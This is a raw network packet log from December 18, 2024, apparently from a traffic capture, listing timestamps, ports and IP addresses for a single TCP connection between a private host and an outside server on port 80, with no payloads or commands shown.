Dec 18, 2024 09:07:31.181056976 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.181126118 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.182013035 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.182050943 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.182075977 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.183005095 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.183042049 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.183136940 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.183171988 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.184020042 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.184112072 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.184145927 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.185017109 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.185136080 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.185170889 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.186033010 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.186073065 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.186142921 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.187052011 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.187092066 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.187249899 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.187474012 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.188038111 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.188384056 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.188443899 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.189052105 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.189178944 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.189222097 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.190143108 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.190192938 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.190213919 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.191126108 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.191139936 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.191178083 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.191211939 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.192095995 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.192320108 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.192401886 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.193100929 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.193206072 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.193254948 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.194123030 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.194171906 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.194231987 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.195128918 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.195172071 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.195230961 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.195473909 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.196135998 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.196289062 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.196325064 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.197143078 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.197382927 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.197418928 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.198165894 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.198203087 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.198267937 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.199197054 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.199235916 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.199301004 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.199471951 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.200206041 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.200339079 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.200376987 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.201359987 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.201472044 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.201517105 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.202224970 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.202269077 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.202354908 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.203242064 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.203289032 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.203347921 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.203474045 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.204256058 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.204372883 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.204417944 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.205370903 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.205579996 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.205626965 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.206269979 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.206314087 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.206422091 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.207304001 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.207346916 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.207350969 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.207472086 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.208302021 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.208391905 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.208431959 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.209287882 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.209391117 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.209429026 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.210321903 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.210361004 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.210424900 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.211338997 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.211385965 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.211457014 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.212362051 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.212403059 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.212450981 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.212485075 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.213387966 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.213445902 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.213488102 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.214406013 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.214541912 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.214596033 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.215353012 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.215478897 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.215480089 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.216362953 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.216418982 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.216506958 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.217410088 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.217459917 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.217531919 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.217576981 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.218409061 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.218472958 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.218543053 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.218575954 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.219424009 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.219474077 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.219518900 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.219552994 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.220403910 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.220453024 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.220458984 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.221436977 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.221506119 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.221544981 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.222453117 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.222510099 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.222569942 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.222604036 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.223401070 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.223476887 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.361645937 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.361665964 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.361731052 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.361926079 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.362488985 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.362535000 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.362612009 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.362651110 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.363161087 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.363328934 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.363365889 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.364317894 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.364357948 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.364397049 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.365233898 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.365274906 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.365313053 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.365474939 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.366229057 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.366251945 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.366267920 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.366283894 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.367182016 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.367221117 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.367289066 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.367327929 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.368213892 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.368252993 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.368315935 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.368354082 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.369256020 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.369297028 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.369350910 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.369388103 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.370242119 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.370295048 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.370333910 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.370371103 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.371258974 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.371357918 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.371401072 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.372266054 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.372361898 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.372401953 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.373285055 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.373358965 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.373394966 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.374293089 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.374345064 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.374382973 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.374824047 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.375304937 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.375348091 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.375380039 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.375524044 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.376352072 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.376393080 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.376511097 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.377330065 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.377370119 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.377432108 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.378046989 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.378338099 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.378379107 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.378397942 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.378432035 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.379378080 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.379456043 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.379472017 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.379487991 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.380589962 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.380713940 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.380748987 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.381370068 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.381467104 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.381500006 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.382630110 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.382690907 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.382745028 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.382822037 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.383516073 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.383555889 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.383582115 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.383685112 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.384380102 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.384413958 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.384485006 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.384517908 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.385402918 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.385443926 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.385510921 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.386317968 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.386390924 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.386465073 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.386487961 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.386528969 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.387430906 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.387481928 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.387639999 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.388472080 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.388513088 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.388601065 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.389478922 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.389523983 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.389586926 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.389626026 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.390456915 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.390583038 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.390620947 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.391571045 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.391614914 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.391680956 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.391719103 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.392574072 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.392672062 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.392713070 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.393503904 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.393603086 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.393640041 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.394534111 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.394577026 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.394685984 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.395001888 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.395555973 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.395608902 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.395636082 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.395677090 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.396584988 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.396632910 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.396686077 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.396744967 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.397542953 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.397582054 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.397685051 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.397723913 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.398545980 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.398668051 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.398704052 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.399561882 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.399698019 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.399734974 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.400615931 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.400656939 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.400724888 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.401582956 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.401624918 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.401693106 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.402596951 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.402638912 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.402693033 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.402730942 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.403599024 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.403724909 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.403763056 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.404635906 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.404675961 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.404716969 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.405632973 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.405672073 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.405814886 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.406637907 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.406676054 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.406826019 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.407483101 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.407665968 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.407767057 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.407807112 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.408658028 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.408790112 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.408826113 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.409676075 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.409847021 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.409887075 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.410695076 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.410732985 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.410773993 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.411017895 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.411730051 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.411833048 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.411873102 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.412728071 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.412838936 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.412880898 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.413783073 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.413800955 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.413825035 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.413841009 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.553113937 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.553177118 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.553200006 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.553250074 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.553431034 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.553498030 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.553648949 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.553816080 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.554416895 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.554456949 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.554482937 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.554519892 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.555485964 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.555531025 CET	49720	80	192.168.2.8	31.41.244.11
